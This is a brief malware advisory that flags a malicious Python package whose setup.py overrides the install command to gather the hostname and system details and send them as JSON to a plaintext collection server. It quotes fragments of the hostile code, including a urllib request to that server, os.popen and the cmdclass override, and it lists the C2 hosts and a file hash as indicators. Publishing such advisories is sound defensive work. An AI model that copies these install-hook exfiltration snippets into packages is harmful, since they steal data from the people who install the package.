GCVE-110-OSM-2026-8395

Malicious package detected. Behaviors: data exfiltration, code execution, network activity. ENTRY setup.py (install-hook: install/develop/build override present) - setup.py Code Execution in setup.py DESTINATION - custom-c2: https://src-ssrf.bytedance.net/ssrf (primary, plaintext) in setup.py - custom-c2: http://182.92.143.23/collect.php (plaintext) in setup.py - custom-c2: src-ssrf.bytedance.net (plaintext) in setup.py - custom-c2: 182.92.143.23 (plaintext) in setup.py EXFIL - Python File Upload to Remote in setup.py: "urllib.request.Request( "http://182.92.143.23/collect.php", data=" - System Information Exfiltration in setup.py: "socket.gethostname() except: hst="no data xhjxhj" # 收集环境信息 data = { "hostname": ..." - Data Encoding for Exfiltration in setup.py: "json.dumps(data).encode" - Network Request in setup.py: "Request( "http:" - System Information Collection in setup.py: "socket.gethostname()" - Suspicious Domain in setup.py: "http://182.92.143.23" ADDITIONAL FINDINGS - Shell Command Execution in setup.py: "os.popen(" - Setup.py Command Override in setup.py: "cmdclass={"install"" PAYLOAD FILES setup.py INDICATORS (IOCs) - payloadFileHash: 2f937b10d5714a971fe67536013d397605c58837fa191978dfcefa6d8a34e052